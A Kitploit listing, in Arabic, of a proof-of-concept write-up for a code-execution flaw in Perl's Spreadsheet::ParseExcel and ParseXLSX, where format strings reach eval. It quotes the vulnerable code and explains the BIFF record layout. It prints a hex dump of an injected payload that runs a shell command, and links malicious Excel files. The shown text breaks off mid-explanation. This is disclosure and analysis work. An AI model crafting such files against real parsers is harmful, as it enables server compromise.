Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
perl_spreadsheet_excel_rce_poc — POC لثغرة RCE في مكتبة ParseExcel، وأيضًا ParseXLSX، كمكتبة تابعة | Kitploit
أدوات/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولاتاستغلال الملفات الثنائية
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

POC لثغرة RCE في مكتبة ParseExcel، وأيضًا ParseXLSX، كمكتبة تابعة

عرض المستودع
1869منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة أمنية في ParseExcel

TL;DR: تنفيذ التعليمات البرمجية عن بُعد (RCE) من منطق تحليل سلاسل التنسيق.

شرح مختصر للاستغلال

السبب الجذري للاستغلال ينبع من استدعاء eval على مدخلات مستخدم غير مُتحقق منها في Utility.pm

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

وفقًا لما فحصته، فإن التنفيذ الحالي لهذا التدفق يفتقر إلى التحقق المناسب، بينما يُعد استخدام eval للتعامل مع منطق المقارنات مبالغًا فيه في هذه الحالة. ولهذا السبب، فإن كلاً من ParseExcel::parse وParseXLSX::parse (المُستخدمين لقراءة البيانات من ملفات Excel) معرّضان لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE).

أين يوجد $format_str؟

ValFmt هو المُستدعي الأكثر احتمالية لـ ExcelFmt، لذا سأتعمق في شرح هذه الدالة

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

إذا كان $oCell->{Type} هو Date أو Number، فسيتم استدعاء ExcelFmt.

أما القيمة $format_str فهي المُعادة من دالة أخرى: FmtString

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

يتم استدعاء دالة أخرى هنا أيضًا، لذا سنفحص FmtStringDef كذلك

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

جميع المتغيرات واضحة، ويمكننا استنتاج ناقل الهجوم كما يلي:

  • حقن سلسلة التنسيق الخبيثة بالفهرس $iFmtIdx
  • التأكد من أن تنسيق خلية $oBook->{Format}[$cellFmtIdx] يرتبط بـ $iFmtIdx
  • التأكد من أن خلية ترتبط بتنسيق الخلية ذلك ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

في الأقسام أدناه، سأقدّم شرحًا تفصيليًا لكيفية نقل الحمولة كود الصدفة إلى أمر eval. سيكون هناك قسمان: أحدهما لتحليل ملف .xls باستخدام ParseExcel والآخر لتحليل ملف .xlsx باستخدام ParseXLSX.

إثبات المفهوم (PoC)

للتوضيح، فيما يلي رابط لملفات Excel الخبيثة التي صممناها (بصيغة .xls و.xlsx) والتي تشغّل whoami وتخزّن النتيجة في ملف /tmp/inject.txt.

https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

الاستغلال على ملف XLS

خذ برنامج Perl بسيطًا لتحليل ملف xls كما في الأسفل، والذي يستخدم ParseExcel::parse. سيحدث تنفيذ التعليمات البرمجية عن بُعد (RCE) أثناء عملية التحليل، حتى قبل جلب أي بيانات.

use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

حقن سلسلة التنسيق

ملفات Excel 97 الثنائية مُهيكلة في كتل من البيانات الثنائية تُسمى سجلات BIFF. يبدأ كل سجل بترويسة تُسمى opCode (بترتيب البايتات الأقل دلالة أولاً)، يليها طول السجل ثم بياناته الفعلية.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

بعد ذلك، يتم استخدام مُعالج مطابق لنوع السجل لاستخراج بيانات سجل BIFF.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

يتم التعامل مع سلسلة التنسيق بواسطة _subFormat، مع opCode = 0x41E

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

لم أكن متأكدًا من إصدار BIFF المستخدم في ملف .xls الخاص بي، لكن وفقًا للبيانات الموجودة في الملف الثنائي، يجب أن يطابق حالة else (> verBIFF5).

يجب أن يكون هيكل سجل سلسلة التنسيق في إصدارات BIFF الأحدث كما يلي: 1E 04 [طول السجل - 2 بايت] [فهرس سلسلة التنسيق - 2 بايت] [طول سلسلة التنسيق - 1 بايت] [أعلام السلسلة - 2 بايت] [محتوى سلسلة التنسيق]

باتباع الهيكل الصحيح، يمكنني حقن أي سلسلة تنسيق في ملف .xls.

سجل BIFF الفعلي لسلسلة التنسيق التي حقنتها في إثبات المفهوم (فهرس سلسلة التنسيق هو \x00\xa5)

00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

ربط تنسيق خلية بسلسلة التنسيق

تحدّد تنسيقات الخلايا العديد من الخصائص للخلية، مثل سلسلة التنسيق والأنماط والخطوط... يمكن لتنسيق خلية واحد أن يرتبط بسلسلة تنسيق واحدة من خلال تضمين فهرس سلسلة التنسيق داخل سجل BIFF الخاص بها. تتم معالجة هذا المنطق بواسطة _subXf

تنزيل الأداة